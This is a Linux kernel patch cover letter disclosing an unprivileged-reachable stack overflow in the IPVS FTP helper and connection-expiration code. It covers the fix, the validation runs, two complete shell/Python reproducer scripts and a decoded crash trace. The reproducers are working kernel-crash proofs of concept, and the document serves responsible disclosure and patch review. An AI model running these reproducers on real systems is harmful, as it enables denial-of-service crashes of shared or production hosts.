Skip to contentSkip to conversation

ipvs: avoid stack overflow from recursive connection expiration

PATCH Superseded Zihan Xi 3 participants 10 messages Sep 17 – Sep 21

Subsystems (4)

v2 of 6 Superseded Latest is v6 →

lore
Share & tools
lore

Zihan Xi

author
#0 lore raw

v2 cover ipvs: avoid stack overflow from recursive connection expiration

Hi Linux kernel maintainers,

We found and validated an issue in net/netfilter/ipvs/ip_vs_ftp.c and net/netfilter/ipvs/ip_vs_conn.c. A non-root user can reach the trigger after creating a user namespace and a network namespace. We've tested the fix, and it should not affect any other functionality.

We will provide detailed information about the bug in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

The trigger entry point is ip_vs_ftp_out() in net/netfilter/ipvs/ip_vs_ftp.c. It parses an EPSV reply and creates a wildcard data connection from the advertised port. If that port is 21, the default FTP control port, ip_vs_conn_new() binds the FTP helper to the new connection a second time. The child has IP_VS_CONN_F_NO_CPORT, so the next connection from the same client to the VIP on port 21 matches the wildcard child instead of creating a new top-level entry. Repeating EPSV builds a controlled-connection chain.

The active-mode path has the same chain-building condition through ip_vs_ftp_in(). It derives the data connection's virtual port from cp->vport - 1. With ports={21,20}, the derived port is 20, which is also a configured FTP control port and can bind the helper again. This is another trigger-side path; the generic cleanup root cause is in ip_vs_conn_expire(), not in the FTP parser.

The stack overflow occurs in the generic ip_vs_conn_expire() cleanup path in net/netfilter/ipvs/ip_vs_conn.c. When a leaf connection is removed, it calls ip_vs_conn_del_put() for its controller. If that helper deletes the controller timer, the old code calls ip_vs_conn_expire() recursively. A long controller chain can therefore exhaust the kernel stack. The reproducer observes this during network namespace teardown, but the cleanup change covers the generic controller-chain path, not just teardown.

Patch 1 makes ip_vs_conn_del_put() report whether it deleted the controller timer. When it does, ip_vs_conn_expire() continues with that controller through a repeat path instead of calling itself recursively. Chain cleanup remains synchronous and does not wait for another timer tick.

Patch 2 rejects zero and configured FTP control ports before creating passive data connections in ip_vs_ftp_out() for PASV and EPSV. It also rejects a zero active-mode client port and a data port derived from a configured control port in ip_vs_ftp_in(). Valid data ports continue through the existing path.

The recursive cleanup root cause was introduced by
f9200a52eedf ("ipvs: avoid expiring many connections from timer"). The FTP helper's acceptance of a control port is first present in 1da177e4c3f4 ("Linux-2.6.12-rc2"). The patches use these commits separately in their Fixes: trailers.

Validation:

Validation was run on horms/ipvs.git main at a401a9d547c50ef34db1088cc1fb9a201a7af657, with the two v2 patches applied in order: 0e288c9cbcb1 and 703557ee8a27. The fixed kernel was built with:

    make -C ipvs-selected-validation-20260916 \
        O=ipvs-selected-validation-20260916-build -j8 bzImage

It completed with exit status 0 and produced bzImage and vmlinux. The resulting artifact hashes were:

    bzImage SHA256: 934d69a04f1a64e5e2e836a4eb74f759806f0f4fd283c8ff55a6d18588306dc3
    vmlinux SHA256: 56837fa64d65718fd067554c804a83d1c1f259a8258dd54b1dd0c47558071c51

The kernel used CONFIG_USER_NS=y, CONFIG_NET_NS=y, CONFIG_NETFILTER=y, CONFIG_NF_CONNTRACK=y, CONFIG_NF_CONNTRACK_FTP=y, CONFIG_NF_NAT=y, CONFIG_IP_VS=y, CONFIG_IP_VS_RR=y, CONFIG_IP_VS_FTP=y, CONFIG_IP_VS_NFCT=y, CONFIG_KASAN=y, CONFIG_KASAN_GENERIC=y, CONFIG_KASAN_STACK=y, and CONFIG_DEBUG_INFO=y.

The passive fixed-run command was:

    SELF_UNSHARE=1 MODE=exit ./poc.sh 200

Selected lines from the actual captured stdout were:

built 200 connections
rejected control-port replies: 200/200
ip_vs_conn entries before trigger: 200
passive data connections created: 0
exiting namespace holder

The active fixed-run used this complete kernel command line:

root=/dev/sda rw console=ttyS0 earlyprintk=serial net.ifnames=0 biosdevname=0 nokaslr panic_on_warn=1 oops=panic systemd.mask=sys-kernel-config.mount systemd.mask=systemd-remount-fs.service systemd.unit=multi-user.target ip_vs_ftp.ports=21,20

and this command:

SELF_UNSHARE=1 MODE=exit ./poc-active.sh 1

The actual captured stdout was:

built 1 connections
ip_vs_conn entries before trigger: 1
derived data connections created: 0
exiting namespace holder

Both fixed-run PoCs exited with status 0. Scans of the corresponding serial and guest-dmesg captures found no KASAN, BUG, Oops, kernel panic, stack-guard, or general-protection signature.

The validation artifacts are the direct files from these runs:
verify/poc-fixed-v2-current.stdout, verify/poc-fixed-v2-current.stderr, verify/poc-fixed-v2-current.exit, verify/qemu-fixed-v2-current.serial.log, verify/dmesg-fixed-v2-current.log, verify/poc-active-v2-current.stdout, verify/poc-active-v2-current.stderr, verify/poc-active-v2-current.exit, verify/qemu-active-v2-current.serial.log, and verify/dmesg-active-v2-current.log. Their relevant SHA256 values are:

    poc.sh: fab544f6d3db61db13d87acef6c393dfded3b3b679b69c95a612e416c8b0ba7a
    poc-active.sh: e7ead4131150844bb369acf3267ff4c69e9904fbd3c71402dcedc1f5784386ec
    passive stdout: 1d68c6b5936c858a97f27b6e36f1e8e9416a0e6e0be1fa1cec507f99f4194907
    active stdout: dcd4736ddc6ca66ae6dd5c66f699d204696f77af032013ea785b8c6cc4ce9d76
    passive serial: 66256f1147d59bc02f70f83427318cf7bd37fa6183c49cf1a2ee939c5ffdea64
    passive dmesg: 78f309ad004809382b41113b9cc4bdc89d013f6be8ac7ca81907e1b03d39219d
    active serial: a0109351a974478b30612ca53f5e2e13a4c024e1ded7a5eb91ce417d2a5fb1a5
    active dmesg: 33aa92fd2765b0644060a9d53394df7796c1476d435b0bdcbab79e5ff2867e0b

The unpatched baseline was separately built at the same revision with CONFIG_NF_CONNTRACK_FTP=y, CONFIG_NF_NAT=y, and CONFIG_IP_VS_FTP=y built in.
The build completed with exit status 0. Its artifact hashes were:

    bzImage SHA256: 2d6e8b3e22fbe97f5ac5a05790d6b0e8e7d23b112e5c676eb8a5ddb5529349e4
    vmlinux SHA256: 15a005e604652ec5fbeb5f68853885cbacc3d771368a528ee672b9592700d449

The unpatched run used the original passive reproducer below:

SELF_UNSHARE=1 MODE=exit ./poc-original.sh 200

Its actual stdout was:

built 50 connections
built 100 connections
built 150 connections
built 200 connections
ip_vs_conn entries before trigger: 201
exiting namespace holder

The PoC exited with status 0. Namespace teardown then produced

BUG: TASK stack guard page was hit in the serial capture, followed by a

stack containing repeated ip_vs_conn_expire() frames. The unpatched guest had panic_on_warn=1 and oops=panic. Its dmesg collection exited with status 255 after the kernel panic, so the serial capture is the complete crash source for this run.

The crash block below is the decoded excerpt from verify/crashlog-unpatched-a401-v6.decode.crash.log. It was produced from the serial capture with ./scripts/decode_stacktrace.sh and is included byte-for-byte. The baseline identifies as 7.3.0-rc1+, which corresponds to the a401a9d547c50ef34db1088cc1fb9a201a7af657 source revision. The test kernel had CONFIG_KASAN=y; the panic behavior is specific to the test configuration, while the reported failure is a stack guard page hit.

The validation runs used shell scripts with embedded Python rather than packetdrill because the trigger requires namespace creation, the legacy IPVS sockopt ABI, a cooperating TCP server, and namespace teardown. packetdrill cannot express that complete setup and lifecycle by itself.

Reproducer:

The original passive reproducer is the following shell script with an embedded Python program. It does not require a separate compilation step. With SELF_UNSHARE=1 it creates the user and network namespaces itself.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc-original.sh------
#!/bin/sh
set -eu

DEPTH="${1:-400}"
MODE="${MODE:-exit}"
SELF_UNSHARE="${SELF_UNSHARE:-0}"

if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then

	exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
		unshare -Urn -- "$0" "${DEPTH}"

fi

ulimit -n 65535 2>/dev/null || true

IP=/usr/sbin/ip
PYTHON=/usr/bin/python3

VIP=198.51.100.1
REAL=198.51.100.2
CLIENT=198.51.100.3
PORT=21

"${IP}" link set lo up
"${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true "${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true "${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true

exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY' import ctypes
import os
import socket
import sys
import threading
import time

depth = int(sys.argv[1])
mode = sys.argv[2]
vip = sys.argv[3]
real = sys.argv[4]
client_ip = sys.argv[5]
port = int(sys.argv[6])

ready = threading.Event()
server_error = []
client_error = []
accepted = []
clients = []

IP_VS_BASE_CTL = 64 + 1024 + 64
IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7

class Svc(ctypes.Structure):

    _fields_ = [
        ("protocol", ctypes.c_uint16),
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("fwmark", ctypes.c_uint32),
        ("sched_name", ctypes.c_char * 16),
        ("flags", ctypes.c_uint),
        ("timeout", ctypes.c_uint),
        ("netmask", ctypes.c_uint32),
    ]

class Dest(ctypes.Structure):

    _fields_ = [
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("conn_flags", ctypes.c_uint),
        ("weight", ctypes.c_int),
        ("u_threshold", ctypes.c_uint32),
        ("l_threshold", ctypes.c_uint32),
    ]

def native_u32(ip):
return int.from_bytes(socket.inet_aton(ip), sys.byteorder)

def ipvs_sock():
return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

def ipvs_flush():

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
    finally:
        s.close()

def ipvs_add_service():
svc = Svc()
svc.protocol = socket.IPPROTO_TCP
svc.addr = native_u32(vip)
svc.port = socket.htons(port)
svc.fwmark = 0
svc.sched_name = b"rr"
svc.flags = 0
svc.timeout = 0
svc.netmask = 0

s = ipvs_sock()
try:
s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
finally:
s.close()
return svc

def ipvs_add_dest(svc):
dest = Dest()
dest.addr = native_u32(real)
dest.port = socket.htons(port)
dest.conn_flags = 0
dest.weight = 1
dest.u_threshold = 0
dest.l_threshold = 0

s = ipvs_sock()
try:
s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
finally:
s.close()

def recv_line(sock):
data = bytearray()
while not data.endswith(b"\n"):
chunk = sock.recv(1)
if not chunk:
raise RuntimeError("unexpected EOF")
data.extend(chunk)
return bytes(data)

def server():
try:
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind((real, port))
srv.listen(depth + 16)
ready.set()
for i in range(depth):
conn, addr = srv.accept()
conn.sendall(b"220 ready\r\n")
line = recv_line(conn)
if b"EPSV" not in line.upper():
raise RuntimeError(f"unexpected request on level {i}: {line!r}")
conn.sendall(b"229 Entering Extended Passive Mode (|||21|)\r\n") accepted.append(conn)
while True:
time.sleep(1)
except BaseException as exc:
server_error.append(repr(exc))
ready.set()

try:
try:
ipvs_flush()
except OSError:
pass
service = ipvs_add_service()
ipvs_add_dest(service)
except OSError as exc:
raise SystemExit(f"ipvs setup failed: {exc}")

threading.Thread(target=server, daemon=True).start() ready.wait()
if server_error:
raise SystemExit(f"server failed early: {server_error[0]}")

for i in range(depth):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((client_ip, 0))
s.connect((vip, port))
banner = recv_line(s)
if not banner.startswith(b"220 "):
raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
s.sendall(b"EPSV\r\n")
reply = recv_line(s)
if b"229 " not in reply:
raise RuntimeError(f"unexpected EPSV reply on level {i}: {reply!r}")
clients.append(s)
if (i + 1) % 50 == 0 or i + 1 == depth:
print(f"built {i + 1} connections", flush=True)
except BaseException as exc:
client_error.append(repr(exc))
break

if client_error:
raise SystemExit(f"client failed: {client_error[0]}")
if server_error:
raise SystemExit(f"server failed: {server_error[0]}")

try:
with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
conn_lines = sum(1 for _ in f) - 1
except OSError:

    conn_lines = -1

print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)

if mode == "hold":

    while True:
        time.sleep(1)

elif mode == "flush":
ipvs_flush()
print("IPVS flush returned", flush=True)
while True:
time.sleep(1)
elif mode == "exit":
print("exiting namespace holder", flush=True)
sys.stdout.flush()
os._exit(0)
else:
raise SystemExit(f"unknown MODE={mode!r}")
PY
------END poc-original.sh--------

The active-mode validation used the following shell/Python script with ip_vs_ftp.ports=21,20. It checks that the derived data connection is not created on the fixed kernel; it is included to match the active-mode validation and is not used as the passive crash evidence.

------BEGIN poc-active.sh------
#!/bin/sh
set -eu

DEPTH="${1:-400}"
MODE="${MODE:-exit}"
SELF_UNSHARE="${SELF_UNSHARE:-0}"

if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then

	exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
		unshare -Urn -- "$0" "${DEPTH}"

fi

ulimit -n 65535 2>/dev/null || true

IP=/usr/sbin/ip
PYTHON=/usr/bin/python3

VIP=198.51.100.1
REAL=198.51.100.2
CLIENT=198.51.100.3
PORT=21

"${IP}" link set lo up
"${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true "${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true "${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true

exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY' import ctypes
import os
import socket
import sys
import threading
import time

depth = int(sys.argv[1])
mode = sys.argv[2]
vip = sys.argv[3]
real = sys.argv[4]
client_ip = sys.argv[5]
port = int(sys.argv[6])

ready = threading.Event()
server_error = []
client_error = []
accepted = []
clients = []

IP_VS_BASE_CTL = 64 + 1024 + 64
IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7

class Svc(ctypes.Structure):

    _fields_ = [
        ("protocol", ctypes.c_uint16),
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("fwmark", ctypes.c_uint32),
        ("sched_name", ctypes.c_char * 16),
        ("flags", ctypes.c_uint),
        ("timeout", ctypes.c_uint),
        ("netmask", ctypes.c_uint32),
    ]

class Dest(ctypes.Structure):

    _fields_ = [
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("conn_flags", ctypes.c_uint),
        ("weight", ctypes.c_int),
        ("u_threshold", ctypes.c_uint32),
        ("l_threshold", ctypes.c_uint32),
    ]

def native_u32(ip):
return int.from_bytes(socket.inet_aton(ip), sys.byteorder)

def ipvs_sock():
return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

def ipvs_flush():

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
    finally:
        s.close()

def ipvs_add_service():
svc = Svc()
svc.protocol = socket.IPPROTO_TCP
svc.addr = native_u32(vip)
svc.port = socket.htons(port)
svc.fwmark = 0
svc.sched_name = b"rr"
svc.flags = 0
svc.timeout = 0
svc.netmask = 0

s = ipvs_sock()
try:
s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
finally:
s.close()
return svc

def ipvs_add_dest(svc):
dest = Dest()
dest.addr = native_u32(real)
dest.port = socket.htons(port)
dest.conn_flags = 0
dest.weight = 1
dest.u_threshold = 0
dest.l_threshold = 0

s = ipvs_sock()
try:
s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
finally:
s.close()

def recv_line(sock):
data = bytearray()
while not data.endswith(b"\n"):
chunk = sock.recv(1)
if not chunk:
raise RuntimeError("unexpected EOF")
data.extend(chunk)
return bytes(data)

def server():
try:
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind((real, port))
srv.listen(depth + 16)
ready.set()
for i in range(depth):
conn, addr = srv.accept()
conn.sendall(b"220 ready\r\n")
line = recv_line(conn)
if not line.upper().startswith(b"PORT "):
raise RuntimeError(f"unexpected request on level {i}: {line!r}")
conn.sendall(b"200 PORT command successful\r\n") accepted.append(conn)
while True:
time.sleep(1)
except BaseException as exc:
server_error.append(repr(exc))
ready.set()

try:
try:
ipvs_flush()
except OSError:
pass
service = ipvs_add_service()
ipvs_add_dest(service)
except OSError as exc:
raise SystemExit(f"ipvs setup failed: {exc}")

threading.Thread(target=server, daemon=True).start() ready.wait()
if server_error:
raise SystemExit(f"server failed early: {server_error[0]}")

for i in range(depth):

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((client_ip, 0))
        s.connect((vip, port))
        banner = recv_line(s)
        if not banner.startswith(b"220 "):
            raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
        s.sendall(b"PORT 198,51,100,3,4,1\r\n")
        time.sleep(0.2)
        clients.append(s)
        if (i + 1) % 50 == 0 or i + 1 == depth:
            print(f"built {i + 1} connections", flush=True)
    except BaseException as exc:
        client_error.append(repr(exc))
        break

if client_error:
raise SystemExit(f"client failed: {client_error[0]}")
if server_error:
raise SystemExit(f"server failed: {server_error[0]}")

try:
with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
conn_lines = sum(1 for _ in f) - 1
except OSError:

    conn_lines = -1

print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True) if conn_lines != depth:
raise SystemExit(
f"expected {depth} IPVS entries, got {conn_lines}; "
"a derived data connection was created"
)
print(f"derived data connections created: {conn_lines - depth}", flush=True)

if mode == "hold":

    while True:
        time.sleep(1)

elif mode == "flush":
ipvs_flush()
print("IPVS flush returned", flush=True)
while True:
time.sleep(1)
elif mode == "exit":
print("exiting namespace holder", flush=True)
sys.stdout.flush()
os._exit(0)
else:
raise SystemExit(f"unknown MODE={mode!r}")
PY
------END poc-active.sh--------

----BEGIN crash log----

[   65.750786] BUG: TASK stack guard page was hit at ffffc900008d7fb8 (stack is ffffc900008d8000..ffffc900008e0000)
[   65.752171] Oops: stack guard page: 0000 [#1] SMP KASAN NOPTI
[   65.752171] CPU: 0 UID: 0 PID: 72 Comm: kworker/u8:1 Not tainted 7.3.0-rc1+ #2 PREEMPT(lazy) 
[   65.752171] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
[   65.752171] Workqueue: netns cleanup_net
[   65.752171] RIP: 0010:_raw_spin_lock_irqsave (??:?)
[   65.752171] Code: 0f 1f 44 00 00 48 b8 00 00 00 00 00 fc ff df 55 48 89 e5 41 55 41 54 49 89 fc 53 48 8d 5d 88 48 c1 eb 03 48 01 d8 48 83 ec 60 <48> c7 45 88 b3 8a b5 41 48 c7 45 90 52 b6 6a 85 48 c7 45 98 e0 f2

All code
========
0: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
5: 48 b8 00 00 00 00 00 movabs $0xdffffc0000000000,%rax
c: fc ff df

   f:	55                   	push   %rbp
  10:	48 89 e5             	mov    %rsp,%rbp
  13:	41 55                	push   %r13
  15:	41 54                	push   %r12
  17:	49 89 fc             	mov    %rdi,%r12
  1a:	53                   	push   %rbx
  1b:	48 8d 5d 88          	lea    -0x78(%rbp),%rbx
  1f:	48 c1 eb 03          	shr    $0x3,%rbx
  23:	48 01 d8             	add    %rbx,%rax
  26:	48 83 ec 60          	sub    $0x60,%rsp
  2a:*	48 c7 45 88 b3 8a b5 	movq   $0x41b58ab3,-0x78(%rbp)		<-- trapping instruction
  31:	41 
  32:	48 c7 45 90 52 b6 6a 	movq   $0xffffffff856ab652,-0x70(%rbp)
  39:	85 
  3a:	48                   	rex.W
  3b:	c7                   	.byte 0xc7
  3c:	45 98                	rex.RB cwtl 
  3e:	e0 f2                	loopne 0x32

Code starting with the faulting instruction
===========================================
0: 48 c7 45 88 b3 8a b5 movq $0x41b58ab3,-0x78(%rbp)
7: 41
8: 48 c7 45 90 52 b6 6a movq $0xffffffff856ab652,-0x70(%rbp)
f: 85

  10:	48                   	rex.W
  11:	c7                   	.byte 0xc7
  12:	45 98                	rex.RB cwtl 
  14:	e0 f2                	loopne 0x8
[   65.752171] RSP: 0018:ffffc900008d7fc0 EFLAGS: 00000286
[   65.752171] RAX: fffff5200011aff8 RBX: 1ffff9200011aff8 RCX: dffffc0000000000
[   65.752171] RDX: 1ffffffff0b02a1c RSI: ffffc900008d80c0 RDI: ffff88806ce2f440
[   65.752171] RBP: ffffc900008d8038 R08: 1ffff11002d4aa47 R09: ffffed1002d4aa48
[   65.752171] R10: ffffed1002d4aa47 R11: ffff888016a5523b R12: ffff88806ce2f440
[   65.752171] R13: ffff888016a552c0 R14: ffffed1002d4aa5c R15: 0000000000001280
[   65.752171] FS:  0000000000000000(0000) GS:ffff8880e57b9000(0000) knlGS:0000000000000000
[   65.752171] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   65.752171] CR2: ffffc900008d7fb8 CR3: 0000000005aa8000 CR4: 00000000000006f0
[   65.752171] Call Trace:
[   65.752171]  <TASK>
[   65.752171]  ? lock_timer_base (timer.c:?)
[   65.752171]  ? timer_delete (??:?)
[   65.752171]  ? __pfx_timer_delete (??:?)
[   65.752171]  ? __pfx_refcount_dec_if_one (??:?)
[   65.752171]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   65.752171]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   65.752171]  ? __pfx_refcount_dec_if_one (??:?)
[   65.752171]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   65.752171]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   65.752171]  ? __pfx_refcount_dec_if_one (??:?)
[   65.752171]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   65.752171]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   65.752171]  ? __pfx_refcount_dec_if_one (??:?)
[   65.752171]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   65.752171]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   65.752171]  ? __pfx_refcount_dec_if_one (??:?)
[   65.752171]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   65.752171]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   65.752171]  ? __pfx_refcount_dec_if_one (??:?)
[   65.752171]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   65.752171]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   65.752171]  ? __pfx_refcount_dec_if_one (??:?)
[   65.752171]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   65.752171]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   65.752171]  ? __pfx_refcount_dec_if_one (??:?)
[   65.752171]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   65.752171]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   65.752171]  ? __pfx_refcount_dec_if_one (??:?)
[   65.752171]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   65.752171]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   65.752171]  ? __pfx_refcount_dec_if_one (??:?)
[   65.752171]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   65.752171]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   65.752171]  ? __pfx_refcount_dec_if_one (??:?)
[   65.752171]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   65.752171]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   65.752171]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.318578]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.318578]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.318578]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
